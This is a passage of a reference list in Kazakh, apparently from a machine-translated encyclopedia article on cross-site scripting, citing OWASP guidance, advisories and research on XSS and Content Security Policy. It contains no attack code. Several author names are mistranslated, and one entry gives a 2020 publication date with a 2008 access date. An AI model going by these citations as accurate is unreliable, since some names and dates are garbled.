  9. ^ Кристи, Стив; Мартин, Роберт А. (22 мамыр 2007). «CVE-де осалдық типінің таралуы (1.1 нұсқа)». MITER корпорациясы. Алынған 7 маусым, 2008.
  10. ^ Беринато, Скотт (1 қаңтар, 2007). «Бағдарламалық жасақтаманың осалдығын ашып көрсету: салқындату әсері». АҚҰ. CXO Media. б. 7. мұрағатталған түпнұсқа 2008 жылғы 18 сәуірде. Алынған 7 маусым, 2008.
  11. ^ Амит, Яир (2005 жылғы 21 желтоқсан). «Google.com UTF-7 XSS осалдықтары». Сағат оты. Алынған 29 мамыр, 2008.
  12. ^ а б Пако, үміт; Уолтер, Бен (2008). Веб-қауіпсіздікті тестілеуге арналған кітап. Себастополь, Калифорния: O'Reilly Media, Inc. б.128. ISBN  978-0-596-51483-9.
  13. ^ а б c «Сайт аралық сценарий». Веб-қосымшаның қауіпсіздігі консорциумы. 2005 ж. Алынған 28 мамыр, 2008.
  14. ^ Гроссман, Джеремия; Хансен, Роберт; Фоди, Сет; Петков, Петко Д .; Рейджер, Антон (2007). XSS шабуылдары: сайттың сценарийлерін пайдалану және қорғаныс (реферат). Google Book Search арқылы Elsevier Science & Technology. 70, 156 бет. ISBN  978-1-59749-154-9. Алынған 28 мамыр, 2008.
  15. ^ Бұл құрт JS / Ofigel-A, JS / Quickspace.A және JS.Qspace деп аталады. «JS / Ofigel-A». Софос. Архивтелген түпнұсқа 2009 жылдың 2 тамызында. Алынған 5 маусым, 2008. және «F-Secure зиянды бағдарламалық жасақтама туралы ақпарат: JS / Quickspace.A.». F-қауіпсіз. 5 қаңтар 2007 ж. Алынған 5 маусым, 2008. және «JS.Qspace». Symantec Corp. 13 ақпан 2007 ж. Алынған 5 маусым, 2008.
  16. ^ Вирустар мен құрттар Алкорн, Уэйд (2005 жылғы 27 қыркүйек). «Сайтаралық сценарий вирусы». BindShell.net. Архивтелген түпнұсқа 16 мамыр 2008 ж. Алынған 27 мамыр, 2008. және Гроссман, Джеремия (қараша 2020). «Сценарийлердің құрттары мен вирустары: алдағы қауіп және ең жақсы қорғаныс». WhiteHat қауіпсіздігі. б. 20. Алынған 6 маусым, 2008.[тұрақты өлі сілтеме ]
  17. ^ «Bug 272620 - ішкі қателік туралы хабарламалардағы XSS осалдығы». Bugzilla @ Mozilla. 2004 ж. Алынған 29 мамыр, 2008.
  18. ^ «DOM негізіндегі XSS». OWASP.
  19. ^ «JQuery қатесі # 9521». 2011.
  20. ^ «DOM негізіндегі XSS профилактикалық парағы». OWASP.
  21. ^ «Қатаң контексттік қашу». Angular.js.
  22. ^ «Self-XSS Facebook алаяқтық қолданушыларды өзін-өзі бұзуға алдау әрекеттері». www.majorgeeks.com. 2014 жылғы 29 шілде. Алынған 20 қыркүйек, 2016.
  23. ^ а б c Лакшманан Ганапатия (16.02.2012). «XSS шабуылының мысалдары (сайт аралық сценарийлік шабуылдар)». www.thegeekstuff.com.
  24. ^ Бродкин, Джон (2007 жылғы 4 қазан). «Веб-сайттардың бұзылуының ең жақсы 10 себебі». Network World. IDG. Алынған 6 ақпан, 2017.
  25. ^ а б Уильямс, Джефф (19 қаңтар, 2009). «XSS (кросс-сайт сценарийлері) алдын-алу Cheat парағы». OWASP. Алынған 4 ақпан, 2010.
  26. ^ «шаблон - Бағдарламалау тілі». golang.org. Алынған 1 мамыр, 2019.
  27. ^ «Google Developers». Google Developers. Алынған 1 мамыр, 2019.
  28. ^ «pug-plugin-trusted-types». npm. Алынған 1 мамыр, 2019.
  29. ^ Шарма, Ананд (3 ақпан, 2004). «Сайт аралық сценарийлер шабуылының алдын алу». IBM. Алынған 29 мамыр, 2008.
  30. ^ а б «ModSecurity: Ерекшеліктер: PDF Universal XSS Protection». Қауіпсіздікті бұзу. Архивтелген түпнұсқа 2008 жылғы 23 наурызда. Алынған 6 маусым, 2008.
  31. ^ «Аякс және Машуп қауіпсіздігі». OpenAjax Альянсы. Архивтелген түпнұсқа 3 сәуірде 2008 ж. Алынған 9 маусым, 2008.
  32. ^ О'Рейли, Тим (30 қыркүйек, 2005). «Web 2.0 дегеніміз не». O'Reilly Media. 4-5 беттер. Алынған 4 маусым, 2008.
  33. ^ «Парақ, тіпті деградацияланған түрде болса да, JavaScript қосымшасыз жұмыс істеуі керек.» жылы Замметти, Франк (2007 ж. 16 сәуір). Amazon Reader арқылы практикалық JavaScript, DOM сценарийлері және Ajax жобалары. Апрес. б. 36. ISBN  978-1-59059-816-0. Алынған 4 маусым, 2008.
  34. ^ «Internet Explorer-де қауіпсіздік аймақтарын қалай пайдалануға болады». Microsoft. 2007 жылғы 18 желтоқсан. Алынған 4 маусым, 2008.
  35. ^ Өтірік, Хекон Виум (7 ақпан, 2006). «Opera 9 Technology Preview 2». Opera бағдарламалық жасақтамасы. Архивтелген түпнұсқа 2008 жылғы 17 мамырда. Алынған 4 маусым, 2008.
  36. ^ «NoScript». Mozilla. 30 мамыр, 2008 ж. Алынған 4 маусым, 2008. және Могул, бай (18.03.2008). «Mac пайдаланушылары антивирустық бағдарламалық жасақтаманы іске қосуы керек пе?». TidBITS. TidBITS баспа қызметі. Алынған 4 маусым, 2008.
  37. ^ ""«DataWindow бағдарламашысының нұсқаулығындағы» клиенттік оқиғаларды пайдалану. Sybase. Наурыз 2003. мұрағатталған түпнұсқа 2008 жылғы 18 маусымда. Алынған 4 маусым, 2008.
  38. ^ Сайттардың 73% -ы 2006 жылдың соңында JavaScript-ке сүйенді "'Көптеген веб-сайттардың істен шығуы өшірілді «. BBC News. 6 желтоқсан, 2006 ж. Алынған 4 маусым, 2008.
  39. ^ «NoScript мүмкіндіктері». Алынған 7 наурыз, 2009.
  40. ^ «Мазмұн қауіпсіздігі саясаты 3-деңгей». www.w3.org. Алынған 1 мамыр, 2019.
  41. ^ Вейчсельбаум, Лукас (2016). «CSP өлді, ұзақ өмір сүретін CSP! Ақ тізімге кірушілердің сенімсіздігі және мазмұн қауіпсіздігі саясатының болашағы туралы» (PDF). 2016 жылғы компьютерлік және коммуникациялық қауіпсіздік бойынша ACM SIGSAC конференциясының материалдары. ОКҚ '16: 1376-1387.
  42. ^ «Мен HTML5, CSS3 және т.б қолдау кестелерін қолдана аламын ба». caniuse.com. Алынған 1 мамыр, 2019.
  43. ^ «Қатаң CSP - мазмұн қауіпсіздігі саясаты». csp.withgoogle.com. Алынған 1 мамыр, 2019.
  44. ^ «Веб-кемшіліктерді азайту үшін Google мазмұны қауіпсіздік саясатын қалай қолданады». eWEEK. Алынған 1 мамыр, 2019.
  45. ^ Ахаве, Девдатта. «[CSP] Есеп беру және сүзу туралы». Dropbox Tech блогы. Алынған 1 мамыр, 2019.
  46. ^ Лекиес, Себастьян; Котович, Кшиштоф; Грос, Самуил; Нава, Эдуардо Вела; Джонс, Мартин (2017). «Интернеттегі кодты қайта пайдалану шабуылдары: сценарий гаджеттері арқылы сайттар арасындағы сценарийлерді азайтуды бұзу» (PDF). Журналға сілтеме жасау қажет | журнал = (Көмектесіңдер)
  47. ^ «WIP сенімді түрлері». wicg.github.io. Алынған 1 мамыр, 2019.
  48. ^ L. K. Shar және H. B. K. Tan, «Веб қосымшалардағы кросс-сайттар сценарийлерінің осалдығын автоматты түрде жою» Ақпараттық және бағдарламалық технологиялар, т. 54, (5), 467-478 бет, 2012 ж.
  49. ^ Марк, Гудвин; Майк, Батыс. «Бір сайттағы куки». tools.ietf.org. Алынған 4 мамыр, 2018.
  50. ^ «Мен HTML5, CSS3 және т.б қолдау кестелерін қолдана аламын ба». caniuse.com. Алынған 4 мамыр, 2018.
  51. ^ Ди Паола, Стефано (3 қаңтар, 2007). «Adobe Acrobat Reader плагині - бірнеше осалдықтар». Wisec.it. Алынған 13 наурыз, 2012.
  52. ^ Сугги Ливерани, Роберто (26 сәуір, 2017). «McAfee Endpoint Security бағдарламасындағы UXSS, www.mcafee.com және кейбір артықшылықтар ...» blog.malerisch.net. Алынған 3 мамыр, 2017.
  53. ^ «Internet Explorer-дегі қауіпсіздік тесігі шабуылдаушыларға ерікті бағдарламаларды орындауға мүмкіндік береді». Heise Media Ұлыбритания. 16 мамыр, 2008 ж. Алынған 7 маусым, 2008.
  54. ^ Сугги Ливерани, Роберто (21 сәуір, 2010). «Firefox-та мәтінмәндік сценарий» (PDF). Security-Assmentment.com. Алынған 3 мамыр, 2017.
  55. ^ «Adobe Flash Player-дегі ықтимал HTTP тақырыбын енгізу осалдықтары үшін жаңарту қол жетімді». Adobe Systems. 14 қараша, 2006 ж. Алынған 7 маусым, 2008.
  56. ^ Огер, Роберт (17 сәуір, 2008). «Сайттағы сұранысты қолдан жасау (CSRF / XSRF) сұрақ-жауап (1.59 нұсқасы)». Cgisecurity.com. Алынған 7 маусым, 2008.
  57. ^ Шнайдер, христиан. «CSRF және шығу тегі бір XSS». www.webappsecblog.com. Архивтелген түпнұсқа 2012 жылғы 14 тамызда. Алынған 21 сәуір, 2012.
  58. ^ «OAuth 2.0 және OpenID қайта бағыттау осалдығы». Хакер жаңалықтары. 2 мамыр, 2014. Алынған 21 желтоқсан, 2014.
  59. ^ Шарр, Джилл (2 мамыр, 2014). «Facebook және Google қолданушылары жаңа қауіпсіздік қатерімен қорқытты». Томның нұсқаулығы. Алынған 21 желтоқсан, 2014.
  60. ^ «SQL инъекциясы». Веб-қосымшаның қауіпсіздігі консорциумы. 2005 ж. Алынған 7 маусым, 2008.
  61. ^ «Сайттың сценарийлеріне қатысты жиі қойылатын сұрақтар». Cgisecurity.com. 2002 ж. Алынған 7 маусым, 2008.
  62. ^ Абгралл, Эрван; Троон, Ив Ле; Гомбольт, Сильвейн; Монперрус, Мартин (2014). «Веб-браузердің шабуылдау бетінің сайтаралық сценарийі бойынша эмпирикалық зерттеу: жүйелік қауіпсіздік регрессия тестілеуінің шұғыл қажеттілігі». IEEE 2014 бағдарламалық қамтамасыздандыруды тестілеу, тексеру және растау жөніндегі жетінші халықаралық конференция (PDF). 34-41 бет. дои:10.1109 / ICSTW.2014.63. ISBN  978-1-4799-5790-3.

Әрі қарай оқу

Сыртқы сілтемелер